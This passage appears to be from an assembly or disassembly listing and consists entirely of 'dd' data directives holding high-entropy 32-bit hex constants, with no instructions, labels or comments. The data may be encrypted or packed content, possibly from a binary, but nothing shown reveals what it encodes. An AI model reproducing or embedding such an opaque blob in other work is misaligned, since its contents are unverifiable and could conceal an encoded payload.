		dd 324DC02Bh, 78250EDAh, 9ABF621h, 9D597977h, 2E3CA88h
		dd 0F166858h, 35686557h, 0DE7A81F1h, 0EB8301FEh, 0EDA0C1F3h
		dd 68092B36h, 2E73530Ah, 9C047F4Bh, 810DC5B5h, 6EF1F565h
		dd 7810C4CAh, 0D3311DA0h, 0EF44A4FFh, 775484A0h, 0F3502893h
		dd 0C69D888Bh, 4FAEF240h, 0CB644185h, 20E63DF6h, 7507E35Dh
		dd 0C1526F23h, 2BB0665h, 0F7954C21h, 0E9866855h, 30EC49A6h
		dd 0A103E115h, 3BB50B76h, 0FFD86F13h, 8D98315Ah, 3ACA5801h
		dd 0E35D817Eh, 0A6E2AABCh, 0E4C7E893h, 73847FF8h, 0D7BFA943h
		dd 0E90A1DA2h, 0A4D4C82Fh, 569D09CDh, 138927D1h, 0E4A95ED9h
		dd 457BB418h, 2D595DC4h, 0A4D3F8F9h, 0AB4A394Ah, 0F24EA3A7h
		dd 8F5FC4F4h, 3A7C5B0Bh, 9AC115h, 0B551F828h, 0F87E2C26h
		dd 0F20E928Eh, 0BC18C341h, 72E1EA88h, 76010247h, 0B9BA0166h
		dd 0F9421D24h, 683B74E3h, 0A93CC61Dh, 966626FDh, 47BE57A5h
		dd 25F97A9Dh, 9F5E4C0Ch, 714A01C2h, 47A9AD6Ch, 97BB145Dh
		dd 0C19DC4D0h, 717594B1h, 0E5B0B17Eh, 30E564FAh, 925ED579h
		dd 90055809h, 4A295D38h, 0B011A847h, 0A85F4468h, 80BE96A0h
		dd 3E4CCE81h, 78062D1Bh, 0B91680BBh, 0DF57AA6Bh, 5BBF894Dh
		dd 887D3181h, 3078EE33h, 0EE655F59h, 133B27F6h,	0A3057534h
		dd 89C9448Bh, 0E1E5ACC7h, 5CD538FFh, 861E0848h,	0B7264227h
		dd 374256F3h, 0EB290201h, 4985F6Ch, 276CF695h, 0E941FD74h
		dd 0F3516C02h, 8B516AA8h, 0A800312h, 0B348C0B8h, 8F0B0556h
		dd 807FFB3Ah, 8D712FCAh, 2A3900Bh, 0EB676643h, 6940C801h
		dd 0FB254D27h, 83FEDC6Fh, 14CA73A0h, 590FB9B0h,	0D1858F4Eh
		dd 150924E8h, 0A2F60C16h, 0D223D702h, 0FC94805Fh, 280E9A20h
		dd 82B2D629h, 9EAD008h,	0C35C17B5h, 1D2C8275h, 89B8987Eh
		dd 0C644C0FEh, 0D2AC95D9h, 7EE5055Eh, 0A35FAEBAh, 0A182441Eh
		dd 0A77E4641h, 45334C8Ah, 779F2DA7h, 24AFD94Ah,	0BD3781CBh
		dd 77797657h, 7257ABFh
		dd 409C374Fh, 0D19FB5E9h, 7D414604h, 8AFB1001h,	84025A4Ch
		dd 2DCE0FE4h, 0E143CAFFh, 852BB16Ch, 0CACBEA1Eh, 332E6B4Ch
		dd 2A468E6h, 9B73BB2h, 4D16FC1h, 0EFF9C0FAh, 0A931776Ch
		dd 685F5826h, 0E79675C1h, 752AC537h, 0DE686EAh,	2936AFBFh
		dd 0A7C675B0h, 0E4479825h, 0BB5300C9h, 9D12848h, 0BC24AB9h
		dd 575BD929h, 17642E83h, 84D3C4C4h, 0B6081264h,	0E42D1262h
		dd 0AD1D88AEh, 0BA594040h, 0B48F97BEh, 0FCD1A749h, 342E143h
		dd 47BB052Dh, 4FDA3B8Dh, 6C7EE3A9h, 0D3806D13h,	5B66D82Ch
		dd 5B7BE85Ah, 0E982C3E9h, 20D57620h, 0B340302Fh, 0E1810E3Bh
		dd 2BE95DAFh, 6AA89A56h, 416B2616h, 0BA8B1EBFh,	5B3D217h
		dd 81CB01B4h, 0D4DFAC4h, 8CF89305h, 630BBA92h, 0B66332F3h
		dd 0AFC227EFh, 0F932E1E6h, 559510EBh, 3F67AC3h,	2DCF1AC8h
		dd 6CDFDAC0h, 43975695h, 16C9F581h, 0EF3A6019h,	511792B1h
		dd 0D0A77389h, 0A218F076h, 2D840F10h, 359A3EEh,	0A5AF5544h
		dd 0B8A23AFBh, 0BA0F54A7h, 3DAA5913h, 0B394ECC3h, 14346B9h
		dd 4CE409D8h, 4DF86F3Fh, 11304B0Bh, 7DE24255h, 79F0A3C8h
		dd 1C0FC69Fh, 83B8311Dh, 799672Dh, 8604BBD5h, 30BF5893h
		dd 267EE7DAh, 4141294Ch, 3872F806h, 6863CFAAh, 5E80858Ah
		dd 26D454AAh, 5B39EDB8h, 1481397h, 0CBE9A993h, 0B82C00C3h
		dd 7E6F70D2h, 0D373F793h, 13D70534h, 2D549D08h,	5B29457Ch
		dd 67925A17h, 0C0C0A6F9h, 0CF801CE4h, 0AF7C271h, 95E0F830h
		dd 5E81E346h, 0AB1DC53Fh, 8BD56CD7h, 355D4690h,	0B51E0771h
		dd 0D4C60976h, 0BB4BB9Eh, 846C7091h, 0B19E61BFh, 0D8CF756Fh
		dd 3E53E20Ch, 0CF274FF8h, 0C2949AD4h, 979F92A2h, 4AD8AD3Eh
		dd 6266EA05h, 62369FA4h, 5EF11DEBh, 2712655Dh, 0B64D0700h
		dd 8C5EE962h, 6DBA43C5h, 0DEA3A58Ch, 56E9782Fh,	685245C0h
		dd 5176E0h, 81425A29h, 64357FCAh, 0E2040E76h, 385F77BEh
		dd 88465AC0h, 89D716AAh, 5E0BF3D0h, 4C161CECh, 0A2DBA8B6h
		dd 0C756EA37h, 7E550B46h, 5424B744h, 1908335Dh,	4F6124Bh
		dd 12E8BADFh, 0BE48CAE8h, 54909Dh, 0BA503A68h, 9355859h
		dd 0A645AFC5h, 120827Fh, 0A21140DDh, 25759396h,	98BEE754h
		dd 0C2B3C108h, 0E4B93C2Eh, 63E82FFBh, 2654F95Eh, 85330AE9h
		dd 0B55F295Ah, 0C7297E22h, 0B15FAC2Eh, 5C0287F6h, 2DF21657h
		dd 74195EEBh, 53227A89h, 2749C454h, 0AA447AEDh,	851B2F9Fh
		dd 8F41AE4Dh, 10B43875h, 0BCDC802Ah, 121E7843h,	2954F389h
		dd 966C12B0h, 0E802628h, 0E728E4EFh, 58ABC7AEh,	299D3586h
		dd 0EAA2F705h, 0C4FE37A3h, 0CB83EBC6h, 5281179Fh, 6F944057h
		dd 0D1F70971h, 0E683A1BEh, 44299B0Ah, 4C30F2E0h, 7497A5C8h
		dd 0A530FEACh, 9C62DDE9h, 70CC89DFh, 703D2673h,	5BD6F5D8h
		dd 0F8C54B09h, 3E0A0062h, 0EB812350h, 0D1F09795h, 4DDD3124h
		dd 87B2CF3Eh, 0D92684h,	0C0FE610Ch, 0A015B82Ch,	97915B70h
		dd 81B2889Ah, 59276F9Ch, 1BBE64Bh, 14ED52B7h, 227517E9h
		dd 4AC6C0E0h, 4BE7F532h, 2D7E489h, 8E01C890h, 552FE133h
		dd 554101BDh, 478149A0h, 0A75B3BF6h, 56840016h,	0D7184CE8h
		dd 0F7484D4Fh, 0FD296184h, 0EC8233Ch, 77416851h, 91D139FFh
		dd 0F5005464h, 30CA2B95h, 235BDF68h, 450AA930h,	0E9060921h
		dd 105255E5h, 6C51FE0Ch, 17ECC231h, 0B045BC3Fh,	0E0500255h
		dd 0B54BDE84h, 18F6F688h, 0C52311Eh, 9D0FA20Dh,	0F3CA897Dh
		dd 0E84AC2F8h, 3E16019Dh, 0DE9679Fh, 0F0530BFAh, 0C0514E2Fh
		dd 0A8054863h, 8A6B80BFh, 0ECAB7784h, 0EB965B05h, 12A53721h
		dd 6980EB03h, 9BB8B70Fh, 6B4CFB28h, 6548931Fh, 5840924Eh
		dd 265F74DCh, 9E420B5h,	9CF5CD2Eh, 0EBD997ACh, 8BFC1A34h
		dd 43B308E5h, 0EE51550Ch, 52251CB9h, 4C75C015h,	0E0D139CEh
		dd 0A0E487Bh, 20054963h, 549F5137h, 0A6D1BD89h,	246C2904h
		dd 0F7B867C2h, 4495E8C6h, 80744024h, 1BBEC23Ch,	8410F8D7h
		dd 4170B7B4h, 357283Bh,	0DF5CC1E6h, 0C004EF1Fh,	85A127FAh
		dd 7E5EB9CBh, 0ECF5B627h, 9EC3273Bh, 965DCD9Ah,	43EB430Eh
		dd 35E90B90h, 0BC790C3h, 7CF99553h, 7A39EBEFh, 0F3F606B6h
		dd 0C375244h, 0C157A38h, 0D4F72971h, 0DF9FCBA5h, 4E314687h
		dd 0E4A5FB4Fh, 57128C8Dh, 0B65648h, 66B152ADh, 2EDBE0BEh
		dd 18F086Dh, 140F2C2Ah,	0B842DA01h, 0AF5D0804h,	0EF835607h
		dd 0EE2E7FE9h, 0B14A3CC7h, 2C18E921h, 0E2D11DC1h, 9EB7713h
		dd 0EE5963D4h, 568A63AEh, 0DC4BEDBEh, 4481421Ch, 0FEF1B0D5h
		dd 0A76897D0h, 0FF826F4Bh, 2F5C2199h, 15FD7B95h, 0F35E241h
		dd 317A77EDh, 6F45235Fh, 416376CCh, 7B916BF7h, 57009B92h
		dd 73138E68h, 1AB0B8Ch,	122D62C4h, 0D7AE203Dh, 22010C12h
		dd 59868E02h, 0F26360F1h, 7E0EEE70h, 2DD74CE4h,	0CE007122h
		dd 1EF80DDDh, 9D06E6C1h, 238E2581h, 49817B7Ch, 0E77D9FAFh
		dd 5A6A1215h, 0F25A3348h, 0EE642FD7h, 1E927C5h,	0B7B69F70h
		dd 91FC240h, 0C99A20Dh,	98B61EEFh, 4EE6580Eh, 5C0D23Bh
		dd 0AC739100h, 433E2D2Ch, 27767F7Dh, 7919B531h,	8581E856h
		dd 0B9D4B8B7h, 61350E09h, 132496Ah, 343A21E6h, 7A74236h
		dd 35CCE0F5h, 0ADDE179Bh, 58A2050Dh, 9221AF05h,	401CF62h
		dd 2CD8C0B7h, 0F876ECE9h, 0A3C22AB4h, 835E0B7Ch, 14DDC64Dh
		dd 5925E67Ch, 91529744h, 35437DFEh, 0D380B94Eh,	0D0C2B30Fh
		dd 325B0502h, 0EDC87021h, 627A0340h, 3B94BF0Eh,	20A136BBh
		dd 0DC05A43Fh, 33FF3810h, 7060833h, 0C764F0E7h,	0E91A0574h
		dd 0DF5AA8E6h, 6AC67412h, 9D4C3820h, 0E905D24Dh, 91BD8B67h
		dd 4A4BAFD7h, 6616E1C8h, 68985B69h, 0FE37EDB6h,	743B66CEh
		dd 616861E0h, 9018794Fh, 79070688h, 75C03550h, 16D03744h
		dd 482770E4h, 0CF128768h, 1CAFBBE9h, 55012951h,	4A2D3C80h
		dd 0C463EB06h, 3800D08h, 0E149F3BBh, 108C90ABh,	89080571h
		dd 0CD18F563h, 400818E0h, 0BA61824h, 4C3608C4h,	476E804h
		dd 0BE0478DDh, 349E048Eh, 481A004h, 29062363h, 7D3150EFh
		dd 7A2F08E8h, 0F73D1888h, 8AD9008h, 270C6A92h, 63A3083Ch
		dd 81A218F0h, 21070831h, 750147FEh, 3A5B015Eh, 0E064109Fh
		dd 31205A20h, 0EA081828h, 9D1888A3h, 6DBA0821h,	0C3F91B18h
		dd 302E80D6h, 0FFEF10C4h, 413AE04h, 3204D840h, 0C9CE040Ah
		dd 8FA7F06h, 29200EA3h,	86F920FCh, 803CC31h, 8E03625Bh
		dd 0C6E1F110h, 0C1293731h, 4D820187h, 1543F01h,	1088394Bh
		dd 552CBC5Fh, 76F11031h, 95BAA101h, 18D00408h, 5104D98h
		dd 0CEA08009h, 0D1883881h, 0FE08316Eh, 32E90850h, 884430Ch
		dd 189E65DCh, 2CAC466Ch, 0E22008E4h, 7E8420F1h,	31615620h
		dd 0C738177Fh, 40F5017Ch, 1A4E108Ch, 41405A08h,	20E66376h
		dd 819CA42h, 9A184FCCh,	40830424h, 9D406593h, 0C35940D9h
		dd 6F2F21C4h, 105B5F06h, 0F0F59051h, 8C43E01h, 0CE047192h
		dd 448C0434h, 61356E06h, 0AB0888EBh, 0DA640C33h, 0B9C868D9h
		dd 69E40C7Bh, 5F625010h, 7F6EC08h, 720CCCBh, 9409576Ah
		dd 19947588h, 24D8496Ch, 10929F70h, 3054E137h, 0C588C82Ah
		dd 0FCBD08D4h, 8900108h, 0B7099752h, 0DE0C26BEh, 63033308h
		dd 28321661h, 0A2953919h, 4B749F88h, 295910D4h,	82131065h
		dd 0C03BB115h, 6EE08078h, 80377180h, 10C6DB31h,	6A08FB21h
		dd 22F0AC5Eh, 80704994h
		dd 109A0110h, 35188F7Ah, 0C1580873h, 67C218C4h,	1BF0B90Eh
		dd 182991D3h, 102E3AD9h, 8C68BF7h, 621885F3h, 4C6A49FAh
		dd 6795602h, 482099BAh,	0DFF20BBh, 2CB46654h, 131099FBh
		dd 40244639h, 90CB54D6h, 3909D8F2h, 0B58055FCh,	341B816Eh
		dd 19C6298Ch, 0A8991405h, 269C6068h, 49A4E8FCh,	0C9EF4281h
		dd 8B2E9648h, 0E1183FE8h, 473B1045h, 2752C03h, 1B8913EBh
		dd 3DA7B90Eh, 1100AFD5h, 0B49408Fh, 847551C9h, 0A0C7E561h
		dd 4BF003DEh, 33E847B9h, 0B10F80C0h, 2CC1304Fh,	38EDE9ACh
		dd 0A7BA2281h, 701E400Ah, 33C97ABh, 0B5E45BDFh,	5C12B885h
		dd 0A3016E3Bh, 0E972431Eh, 0D1887430h, 0C5D3519Fh, 18CFAA01h
		dd 2FF16824h, 3403B7Ah,	1D71975Dh, 9221642h, 6C909580h
		dd 4F5F3AA7h, 127879ACh, 0FE33361Bh, 0BC954C04h, 76D40500h
		dd 85F42DBFh, 0BB143F60h, 7AFC0F43h, 0B3E2202Ah, 8C40F99Dh
		dd 0BFAC2546h, 9953560Eh, 86FAEF2Eh, 972CC923h,	0C0756FC2h
		dd 0BE3C2F0h, 5B569C68h, 0E9064574h, 0B05561F0h, 64CAF073h
		dd 0C3AE7945h, 0DDE07222h, 0C0B5215Bh, 9024CBEBh, 0C1593CC2h
		dd 0E31F61DCh, 30C30105h, 2B6D6411h, 2DE96BF0h,	90F9872Ch
		dd 6454578Fh, 7FED26D2h, 0A31B2907h, 4190B248h,	0DA66D0D6h
		dd 7393B297h, 6F9DF4D1h, 0FEE9EA30h, 329D7070h,	11CAC1D5h
		dd 0ECC75D87h, 0B22BF70Eh, 6802A34Bh, 0F5CCFF31h, 534E1C01h
		dd 21D1E962h, 0E1C85CB7h, 0ECD7DB65h, 51C06BFBh, 0C83625E6h
		dd 0EB01B740h, 6A3A5256h, 0F63D6CB1h, 0CD80EB92h, 0A9A4E958h
		dd 21D85CCEh, 0A0E895D0h, 0F7806608h, 0AE4760DFh, 1F651ABBh
		dd 8240B2FCh, 8EB90451h, 0B9336B55h, 34D20771h,	0D18740E8h
		dd 0BC1AE975h, 591D41E0h, 0BF4775E0h, 2D1D87E4h, 6B1D21B3h
		dd 0C302F45h, 0A305F1F0h, 1112AD07h, 502CC9CAh,	0C603984h
		dd 2C1835Ah, 0C22072CAh, 800B3C91h, 77F332EBh, 0BAC3023Dh
		dd 5E2E6AE9h, 0B0CB87E4h, 4477A331h, 0D8284207h, 7493EE2Ch
		dd 4B26735Bh, 0B10AAC57h, 0B80559C0h, 389863C4h, 0A0445F42h
		dd 0E706C127h, 8B221F09h, 13EE2033h, 8835040Ah,	0FABC4EC6h
		dd 0F0282F0Eh, 8FAE922Ch, 0B2186153h, 3250D2h, 0F644B3C6h
		dd 0DC88A613h, 8133FA3h, 0F93BA5E2h, 29D7A797h,	3BC774BEh
		dd 76BABDE0h, 717AFE09h, 143AA034h, 2CBCA4BBh, 5AFF3618h
		dd 2782620Ch, 5588E88h,	0F997687Fh, 7B25BD91h, 94A50476h
		dd 534604FEh, 0EAAA1FE9h, 0F27F0ADDh, 0EFACD629h, 165709A5h
		dd 7D5E6329h, 0D42CB909h, 0FD35E20Ah, 0BB2B00Ch, 29426820h
		dd 88140F8h, 3D752E5Ah,	739CB701h, 8C791B2Fh, 0FAA92785h
		dd 207D4FCBh, 5C5E0AE8h, 0D4C999ACh, 555E77ABh,	0C0FCE578h
		dd 2DD9EBA1h, 0B19052BCh, 9121D81Dh, 0CEC82997h, 0AE424A08h
		dd 0BF48E72Bh, 39DA5F25h, 63A09EC6h, 0A9EE042Dh, 0F57A8D7Dh
		dd 0E9080185h, 3F822509h, 1DB84BC4h, 42E1BEC7h,	0D15D260Bh
		dd 97E4A759h, 0C9E9F33Eh, 92C4899h, 1001128Bh, 2EB85097h
		dd 0DA3CA0h, 9E728E25h,	0D53B350Ch, 0B24A73Fh, 605AF0AFh
		dd 61F1AB16h, 30133B2Bh, 69FEC821h, 0A806149Ch,	1BA41397h
		dd 0CF039A52h, 443E507h, 192D7F0Ch, 0A96CC012h,	6E5B952Eh
		dd 0E2042EB9h, 0BAAE2BA2h, 0B6BC1E17h, 0ACFC502Dh, 0E914F84Eh
		dd 0DA34FB17h, 0E81B4111h, 0AC480ADh, 0F5F8D6F6h, 709D4872h
		dd 3E799410h, 0DF1E5E89h, 63C881D8h, 950DB836h,	71228200h
		dd 0A6C10E90h, 48D50E8h, 82A6B12Fh, 57F54ACh, 0C9CF201Ch
		dd 7060C473h, 2BBE781Ch, 0B831674Fh, 1468215Bh,	0B276354h
		dd 5C38428Fh, 48A4C26Eh, 35354DD5h, 7660AA20h, 9A012FBDh
		dd 0F88980E0h, 0F8734A2Ch, 2FC83B8Ch, 0C004FEA6h, 881BB652h
		dd 9AD7439Fh, 1AA5C18Dh, 0F717617Ah, 9E663D2Ch,	0B0073089h
		dd 0D435DD22h, 33008A7Ah, 81617F67h, 6D7A7EE1h,	0C6E91B0Ch
		dd 772C32DAh, 0C33A2D6Ch, 0F2A0E35Ah, 8B284BFFh, 83FEB41Fh
		dd 504E1060h, 7C2823B0h, 0F9884AC2h, 545613EDh,	0CBB791ACh
		dd 0BF279304h, 58ECAE8Ch, 52C006E2h, 15076FBAh,	0E9FC144Bh
		dd 782E0E00h, 62BBD55h,	5C100425h, 52761CDEh, 171CAA1Ah
		dd 5751EAC0h, 125B4D68h, 95F7792h, 0EE55231Bh, 7AA2B41Fh
		dd 465EE07Fh, 345C8274h, 0D4B6E00Bh, 630A8183h,	0E835411Ah
		dd 27B8DA58h, 595FC775h, 20B25CFCh, 11F0D4CCh, 60E1324Dh
		dd 8D4503CAh, 0E7C981Fh, 41DF7273h, 0C357E5C5h,	0F5E03F74h
		dd 0BA7C46B5h, 0D6A8E915h, 0A8F326C5h, 0CC3EEB01h, 0B09F5E77h
		dd 0C2662719h, 32D6FDA0h, 16E573BDh, 0BCACD42Dh, 0C63503CEh
		dd 0B772FA71h, 0ADC27590h, 0EC569721h, 41F6023Eh, 7D5953DFh
		dd 0F301DE94h, 386203A5h, 347A7A68h, 89C112CDh,	46C1011Eh
		dd 5884852Ch, 2675DE28h, 84B9F15Fh, 12D6851h, 9B7978Ch
		dd 0A49FE93Bh, 8BD58CA5h, 8BE04FE7h, 1C984DB0h,	0F580DD00h
		dd 50C5FE84h, 16BFB42Eh, 0D6FD0E14h, 14084709h,	0D231240Bh
		dd 2103134Eh, 80149FBBh, 552DE863h, 0B22B224Ah,	3051B06Eh
		dd 0EF479644h, 183D2A6Bh, 6F40A405h, 6297B881h,	65EC353Dh
		dd 87595023h, 0B09485Ah, 7D6DEED3h, 0BB53E880h,	68330F44h
		dd 37F0E92Eh, 927F48B1h, 2F69DACh, 62E42E25h, 25BA4C57h
		dd 0EA71C775h, 5E277924h, 892B520Ch, 877D1D72h,	0A0614C9Dh
		dd 6083056h, 97E935F7h,	0B5F452D7h, 67F27207h, 9AC2CD29h
		dd 5ADC8028h, 91598268h, 0B712BF08h, 908462D2h,	4ADF184Ah
		dd 239CFDF8h, 9B95949h,	0F273DA60h, 0D2FC0727h,	9901039Eh
		dd 0C4E0AFFh, 0DB6A4799h, 8B3059FAh, 0B3D584EAh, 59B2E7A8h
		dd 9CAE561Ah, 2610C945h, 62EAC17Fh, 8606BE2Ch, 8D0F6C7h
		dd 0A67DD89Dh, 9228506Bh, 1CB5A68Ah, 0C230C780h, 0FD882AF7h
		dd 0C0811751h, 0D5F608E5h, 24684820h, 0C770199Ah, 0D0CFC17Ah
		dd 36882EFh, 8109F4E9h,	0DD2966A6h, 861160CEh, 0EBC6CF79h
		dd 0F3145D6Ch, 8C6CC83Fh, 2C2B102Dh, 16577FD8h,	0B236EEBFh
		dd 0B5882CC2h, 320D1009h, 7FB5003Bh, 0FE20B148h, 89445279h
		dd 9713541Fh, 0FB600B07h, 0E5C4AED7h, 32E248EFh, 89D1FD5Eh
		dd 0DB61DDB5h, 0F5AD2B0Ch, 647FB7A2h, 67DB774Eh, 0FB7D9CD5h
		dd 0D359EBB8h, 0FBD6A295h, 0AEBB00F7h, 0CC7A3AC0h, 0E07E25EBh
		dd 2C3D08E0h, 5DB1197Dh, 0C83E3485h, 14507A09h,	9D1C35A6h
		dd 13FD0A88h, 0D990C4CFh, 4B27268Eh, 8E92515h, 5A161C02h
		dd 31816BA2h, 3F4FE9C3h, 5D2C9FD2h, 86491F4Dh, 4A632778h
		dd 0E00BFC55h, 917A0168h, 0D510BCA3h, 184A4C28h, 0ED5D8FCBh
		dd 97140961h, 0C405017Fh, 58FB4E42h, 0E37D91C4h, 89F83F84h
		dd 0E4514434h, 0DB0C9F7Ch, 3A080F12h, 2831390Bh, 0B646A1B8h
		dd 7F077A5h, 8944C93Ah,	5AD331h, 0BD72AB41h, 36CA9F15h
		dd 0EAEB715Fh, 1E3A00E6h, 0F3E93325h, 8928C49Ch, 0A75FE197h
		dd 0B5EEE2ECh, 7BC37F49h, 58172BDBh, 0A2AE4491h, 85CBBE2Dh
		dd 5A4DE909h, 107FE4ABh, 97F6D596h, 65043A96h, 567A2520h
		dd 0F2C128A0h, 0E9060C9Ah, 0BA269D54h, 8D07580Ah, 0A0058549h
		dd 0C504F647h, 5E0BE32Dh, 590C7B71h, 437A9FDEh,	137B506Bh
		dd 401E0E0Bh, 5A15F31h,	2A0102DEh, 2A87E620h, 254A7DE1h
		dd 47735C50h, 696D4202h, 1B60091Fh, 963B92C2h, 89EE3BE0h
		dd 92A7B43h, 5C632BE8h,	317FE9A4h, 87524E86h, 1E66C066h
		dd 0BBCBD2F3h, 33A74089h
		dd 2BC00342h, 129FF856h, 0BABB61D7h, 4CD410A7h,	35C384CFh
		dd 0CBDB000h, 0C04EFE63h, 1BF966C7h, 584ED8BFh,	0E7DCC147h
		dd 424BEE56h, 503A5A0h,	4E43C0ABh, 2DF02801h, 0AA48007h
		dd 975BFE21h, 0E9174ADAh, 76AB20DCh, 5F128C63h,	0DDB0EFC1h
		dd 4F18C04Eh, 2B87E781h, 427AF3Bh, 3656EAF7h, 75EFE580h
		dd 348027CDh, 6BE7B070h, 0B6EE6894h, 3DEB93BEh,	0F9996EF5h
		dd 9F02E9F4h, 0C4977794h, 0F6D8826Ah, 2F7069AAh, 973DF0DCh
		dd 4FB4720h, 88066BEFh,	645A915Eh, 0C4F69BC0h, 76522D4Eh
		dd 75E9DF76h, 1A18C263h, 0DBE802B6h, 6BCA2D44h,	6A776C1Bh
		dd 51C73612h, 7DED2F00h, 90455F9Bh, 7CCA38E0h, 48FC0D25h
		dd 54CF8798h, 0EB344E8Bh, 0C321BC3Dh, 912FC435h, 6FF7A61Eh
		dd 8954368Ah, 0DF192CCAh, 0B35C1768h, 720C4174h, 61F9420h
		dd 55A771C2h, 2B5F0CA8h, 8533563h, 5E5BA209h, 1FBAFD49h
		dd 328B0C09h, 1CF7E242h, 0F4BA20C6h, 0BD27498h,	0FCE1A892h
		dd 4BA0BF6h, 2640BE77h,	0D8DDF7h, 0DF1C5973h, 1D4AC5E9h
		dd 0C6D38C1Ch, 62B22CFEh, 24ACD94Fh, 0E4D76980h, 7926E505h
		dd 0F0B3F0Ah, 59A8103Dh, 29DE4C29h, 0D0AC2C16h,	2219D82Eh
		dd 0CA4A1F7Eh, 35E6400Dh, 4B855440h, 522B58B1h,	585F5204h
		dd 621C9977h, 0AE513CA4h, 4163AC01h, 0C2A90D9Bh, 0F0355958h
		dd 83AB398Ch, 2E0C68E0h, 80565197h, 73F60BAh, 0C258E974h
		dd 0A1EF802Ch, 9F517861h, 2830F94Eh, 0D9F77633h, 0DC30F183h
		dd 1C880EE1h, 0C1C015D2h, 55A249A3h, 10485148h,	0B05E7536h
		dd 3F4EDF44h, 6784C9B2h, 6A8CEBECh, 697976E0h, 0FF822177h
		dd 0E9D19CF7h, 0DA465EACh, 8E6813CFh, 78E88C7Ch, 0C9202D41h
		dd 699B0FEDh, 0C862FBBh, 0C4BD28F6h, 0F3952057h, 7BF7BE02h
		dd 414E1361h, 77D8FB95h, 1BE91059h, 39803B8Ch, 3AC19CF4h
		dd 748D91Fh, 0BE560082h, 0B2B70B21h, 0AB41AD90h, 30FFA52Ah
		dd 4EB953D9h, 0D38F9A0h, 7995703Bh, 1794A8F7h, 0A1E414Eh
		dd 41C79E9Eh, 0E95422EEh, 0E6AE3058h, 0BBC0E6B1h, 9942864h
		dd 7EBC168h, 2813250Bh,	1306E3CBh, 0BC4BE49Dh, 4FE009E0h
		dd 510D28D0h, 0E9080064h, 3CCE3116h, 7532C4ACh,	20445C88h
		dd 0CB329B36h, 347FE59h, 0B7BAD731h, 32819ACAh,	8B3D6237h
		dd 26174F24h, 20F8E5A5h, 0B72E025Ah, 0B30E33A6h, 7CD80B73h
		dd 0F73B423Ch, 31A6C00Bh, 0E0F58271h, 0DF392F13h, 0C706568Fh
		dd 0AFB4B416h, 63FBB8E4h, 76B5168Bh, 5043BBE9h,	0C8CAF5A2h
		dd 95BC623Dh, 758E3DC6h, 45EE8012h, 5D0D5504h, 60D8F707h
		dd 39980EAFh, 0E46076F8h, 3592C645h, 31232778h,	0B131274h
		dd 0C95A174Eh, 57242B8Ah, 5FFDD7B0h, 1539D39Fh,	0D35E9BE7h
		dd 0D358C58Bh, 80400AB9h, 8609BCE7h, 0E69C57F9h, 37685307h
		dd 9649406Fh, 6FF86BCh,	13C06D7h, 0F50B9250h, 407C6D5Dh
		dd 16C321FFh, 0AA7F7EE9h, 0FACD1C28h, 8B675FA2h, 1ABC5221h
		dd 2F82EC3h, 0FA13CEE9h, 89D204FDh, 0EE2915A0h,	0AD4E1CE3h
		dd 0D1E077F2h, 0D555026h, 88662017h, 0FDE5B7CCh, 844C59A7h
		dd 0AA010660h, 0E868E620h, 0C894BF3Bh, 26A58B77h, 206D6805h
		dd 0B04BA1E3h, 0D169F9Ah, 2CB86460h, 0C02E2CD6h, 4FFE9086h
		dd 4B7CB3F4h, 27468E00h, 9053AD7h, 4E53041Dh, 801D0575h
		dd 0EB60F3A1h, 52E56830h, 69415ADFh, 0BA062BBh,	8307746Dh
		dd 0B120E223h, 0B17F0541h, 0CEF26113h, 470B8208h, 0AFEB591Dh
		dd 0B94333D6h, 38F6F994h, 5873E27Ah, 425D05AEh,	0C3C34B08h
		dd 0FC6C0404h, 0AC035675h, 29CA00DDh, 0E969C272h, 39C76F1Ah
		dd 0A6522001h, 0D6FCEC19h, 92D151B5h, 122DF88Dh, 0C6BC3C33h
		dd 2A7048A1h, 0E442C31h, 0CD81C08Eh, 6D3F56C2h,	4817D460h
		dd 0CC27C52Ch, 0EBF0E906h, 94C29DE5h, 86749EDDh, 5C1ABF37h
		dd 0C468E101h, 5C8C7F13h, 1BEF595Bh, 0B91F3404h, 0EBACC12Bh
		dd 0DFD53006h, 3BCF3180h, 25FA8759h, 8F202A4Eh,	70337928h
		dd 86A04F64h, 0BE8847C8h, 0C8310E06h, 0C28DD04Eh, 0DDBC3B08h
		dd 0E25A794Ch, 0D2AFD25Ch, 9478662Dh, 0C0684A60h, 0A1784C4Dh
		dd 34C0CED7h, 90E9123Ch, 0CC11B4F8h, 0C3C72162h, 0BF70A33Eh
		dd 0C077EAFCh, 0F47AC763h, 0B05E624Bh, 19CC5984h, 0BD97EF09h
		dd 2F0B5DC1h, 5FC5AFFCh, 215DF490h, 0C9B9DED0h,	0AB5A185Ch
		dd 3E6DF920h, 8E981AB7h, 0CBE0E10h, 4C576400h, 15CFF681h
		dd 0BA055146h, 0FA88173Eh, 720A4A60h, 41634CC9h, 368DFA02h
		dd 0C9F5019Ch, 3A395F84h, 57215CE0h, 0AFCB6AF7h, 71C8BE18h
		dd 3139FFC3h, 9D936CBh,	15E9FEF2h, 0E0011EEEh, 61294D12h
		dd 2403F812h, 8A01F251h, 6848AC4Eh, 1F3353C9h, 0F3BB0F76h
		dd 94D2B576h, 0C109AA8Dh, 1DBF20D1h, 95318758h,	23B5B87Ah
		dd 0F2E95736h, 82096A38h, 55806DD9h, 5A9287C7h,	5821CEBEh
		dd 0F53C11Ch, 5F604B7Eh, 0F576A05h, 6E002AAh, 0C0632BB5h
		dd 0C14D07C1h, 510CBF29h, 141CA008h, 0B0FC584Bh, 142026C4h
		dd 305C00D5h, 0E5C16D9Dh, 50D09703h, 0FEFBE380h, 0FB0EEF26h
		dd 0FC5F16h, 8430E24Eh,	23BC11E9h, 15BD5501h, 700A0F2Ch
		dd 26C2B4A9h, 0C028F2B1h, 8242C28Ah, 2E44E7D0h,	58EA05EDh
		dd 895B27EFh, 0F30ED428h, 2EC0145Ch, 6918D7C3h,	5C1C3018h
		dd 0F710F828h, 0DF4A38EEh, 603CA1E0h, 0B6E12657h, 4F764535h
		dd 41ACC104h, 81BF59CAh, 3D161D74h, 924316ECh, 0D2687ED1h
		dd 0D982F42Ah, 50144BCh, 7757187Ah, 7C886080h, 0F1812FC1h
		dd 3766BB05h, 0F00B4952h, 5F8366D9h, 6810035Ch,	531A5F6Ah
		dd 5FF91832h, 552C776Dh, 2996BF0Ch, 10F60FB8h, 99644BC8h
		dd 0A203D8F1h, 4516C16h, 0BEF7FA0h, 0A54247F3h,	6E5422DDh
		dd 0A968012Fh, 0C5712C5Dh, 0B0A3D3CEh, 62685201h, 0C8EF5AC1h
		dd 0E925D629h, 0FDA4E27Ah, 9AC94BC5h, 0C4365692h, 6AD3A133h
